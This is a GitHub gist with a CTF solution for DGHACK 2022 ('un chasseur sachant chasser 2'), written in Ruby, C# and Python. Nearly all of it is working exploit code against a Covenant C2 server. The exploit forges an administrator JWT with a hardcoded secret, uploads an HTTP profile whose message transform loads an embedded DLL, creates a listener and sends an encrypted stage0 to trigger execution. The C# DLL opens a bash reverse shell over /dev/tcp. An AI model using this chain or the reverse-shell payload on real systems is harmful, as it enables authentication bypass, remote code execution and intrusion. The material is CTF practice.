Skip to content

Instantly share code, notes, and snippets.

@xl00t
Created November 24, 2022 17:18
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
DGHACK 2022 - un chasseur sachant chasser 2
require 'securerandom'
require 'openssl'
require 'base64'
require 'json'
def aes256_cbc_encrypt(key, data)
key = Digest::SHA256.digest(key) if (key.kind_of?(String) && 32 != key.bytesize)
iv = SecureRandom.random_bytes(16)
iv = Digest::MD5.digest(iv) if (iv.kind_of?(String) && 16 != iv.bytesize)
aes = OpenSSL::Cipher.new('AES-256-CBC')
aes.encrypt
aes.key = key
aes.iv = iv
ciphered = aes.update(data) + aes.final
hmac = OpenSSL::Digest.new('sha256')
signed = OpenSSL::HMAC.digest(hmac, key, ciphered)
return([ciphered, iv, signed])
end
guid = ARGV[1]
message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'
ciphered, iv, signed = aes256_cbc_encrypt(Base64.decode64(ARGV[0]), message)
data = {
'GUID': "#{guid}",
'Type': 0,
'Meta': '',
'IV': Base64.encode64(iv).strip,
'EncryptedMessage': Base64.encode64(ciphered).gsub("\n", ''),
'HMAC': Base64.encode64(signed).strip
}
data = data.to_json
puts data
using System;
using System.Reflection;
namespace ExampleDLL
{
public class Class1
{
public Class1 ()
{
System.Diagnostics.Process.Start("bash", "-c \"bash -c 'exec bash -i &>/dev/tcp/127.0.0.1/4444 <&1'\"");
}
public void Main(string[] args)
{
}
}
}
import requests
import jwt
import random
import string
import os
import binascii
import base64
import subprocess
import json
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
C2IP = "unchasseursachantchasser.chall.malicecyber.com"
C2PORT = 8217
secret = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC'
base_url = f"http://{C2IP}/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/"
def random_user(N=8):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
def random_hex(N):
return binascii.b2a_hex(os.urandom(N)).decode()
def random_id():
return f"{random_hex(4)}-{random_hex(2)}-{random_hex(2)}-{random_hex(2)}-{random_hex(6)}"
def craft_token(username, userid):
payload = {
"sub": username,
"jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": userid,
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
"User",
"Administrator"
],
"exp": 1796477622,
"iss": "Covenant",
"aud": "Covenant"
}
print()
token = jwt.encode(payload, secret, algorithm='HS256')
return token.decode()
def is_admin(id, token):
data = {"Authorization" : f"Bearer {token}"}
id_roles = requests.get(f"{base_url}api/users/{id}/roles", headers=data, verify=False).json()
roles = requests.get(f"{base_url}api/roles", headers=data, verify=False).json()
for id_role in id_roles:
for role in roles:
if id_role['roleId'] == role['id'] and role['name'] == 'Administrator':
return True
return False
def find_admin():
token = craft_token(random_user(), random_id())
data = {"Authorization" : f"Bearer {token}"}
r = requests.get(f"{base_url}api/users", headers=data, verify=False)
print(r.text)
r = r.json()
for user in r:
if user["userName"] == "ServiceUser":
continue
if is_admin(user["id"], token):
return user
def get_admin_token():
admin = find_admin()
print(f"Found admin : {admin['userName']} with id {admin['id']}")
return craft_token(admin['userName'], admin['id'])
def generate_transform_payload():
dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAA.....'
payload = """public static class MessageTransform {
public static string Transform(byte[] bytes) {
try {
string assemblyBase64 = "%s";
var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
var assembly = System.Reflection.Assembly.Load(assemblyBytes);
foreach (var type in assembly.GetTypes()) {
object instance = System.Activator.CreateInstance(type);
object[] args = new object[] { new string[] { "" } };
try {
type.GetMethod("Main").Invoke(instance, args);
}
catch {}
}
}
catch {}
return System.Convert.ToBase64String(bytes);
}
public static byte[] Invert(string str) {
return System.Convert.FromBase64String(str);
}
}"""
return payload % dll
def upload_profile(token):
data = {"Authorization" : f"Bearer {token}"}
payload = {
'httpUrls': [
'/en-us/index.html',
'/en-us/docs.html',
'/en-us/test.html'
],
'httpRequestHeaders': [
{'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
{'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
],
'httpResponseHeaders': [
{'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
],
'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
'httpGetResponse': '{DATA}',
'httpPostResponse': '{DATA}',
'id': 0,
'name': random_hex(5),
'description': '',
'type': 'HTTP',
'messageTransform': generate_transform_payload()
}
r = requests.post(f"{base_url}api/profiles/http", json=payload, headers=data, verify=False).headers
return r['Location'].split('/')[-1]
def read_listener_type(type, token):
r = requests.get(f"{base_url}api/listeners/types", headers={"Authorization" : f"Bearer {token}"}, verify=False).json()
for x in r:
if x['name'] == type:
return x['id']
def create_listener(listener_name, profile_id, token):
data = {
'useSSL': False,
'urls': [
f"http://0.0.0.0:{C2PORT}"
],
'id': 0,
'name': listener_name,
'bindAddress': "0.0.0.0",
'bindPort': C2PORT,
'connectAddresses': [
"0.0.0.0"
],
'connectPort': C2PORT,
'profileId': int(profile_id),
'listenerTypeId': read_listener_type('HTTP', token),
'status': 'Active'
}
return requests.post(f"{base_url}api/listeners/http", json=data, headers={"Authorization" : f"Bearer {token}"}, verify=False).text
def read_listener_id(token, name):
r = requests.get(f"{base_url}api/listeners", headers={"Authorization" : f"Bearer {token}"}, verify=False).json()
for lists in r:
if lists['name'] == name:
return lists['id']
def parse_grunt_cfg(cfg):
aes_key = cfg['stagerCode'].split('byte[] SetupKeyBytes = Convert.FromBase64String(@"')[1].split('");')[0]
guid_prefix = cfg['stagerCode'].split('string aGUID = @"')[1].split('";')[0]
return (aes_key, guid_prefix)
def read_grunt_cfg(token, lname):
data = {
'id': 0,
'listenerId': read_listener_id(token, lname),
'implantTemplateId': 1,
'name': 'Binary',
'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
'type': 'binary',
'dotNetVersion': 'Net35',
'runtimeIdentifier': 'win_x64',
'validateCert': True,
'useCertPinning': True,
'smbPipeName': 'string',
'delay': 0,
'jitterPercent': 0,
'connectAttempts': 0,
'launcherString': 'GruntHTTP.exe',
'outputKind': 'consoleApplication',
'compressStager': False
}
requests.put(f"{base_url}api/launchers/binary", json=data, headers={"Authorization" : f"Bearer {token}"}, verify=False)
return parse_grunt_cfg(requests.post(f"{base_url}api/launchers/binary", json=data, headers={"Authorization" : f"Bearer {token}"}, verify=False).json())
def generate_stage0(aes_key, guid):
headers = {}
headers['Cookie'] = f"ASPSESSIONID={guid}; SESSIONID=1552332971750"
headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
payload = subprocess.check_output(['ruby', 'aes.rb', aes_key, guid])
payload = payload.replace(b'\n',b'')
r = requests.post(
f"http://{C2IP}:{C2PORT}/en-us/test.html",
headers=headers,
data = {
'i' : 'a19ea23062db990386a3a478cb89d52e',
'data' : base64.b64encode(payload),
'session' : '75db-99b1-25fe4e9afbe58696-320bea73'
}
)
print(r.status_code, r.headers, r.text)
token = get_admin_token()
profile_id = upload_profile(token)
listener_name = random_hex(4)
create_listener(listener_name, profile_id, token)
aes_key, guid_prefix = read_grunt_cfg(token, listener_name)
print(f"aes_key {aes_key}")
print(f"guid_prefix {guid_prefix}")
print('Sending stage0 to trigger exploitation.')
generate_stage0(aes_key, f"{guid_prefix}{random_hex(5)}")
print(token)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment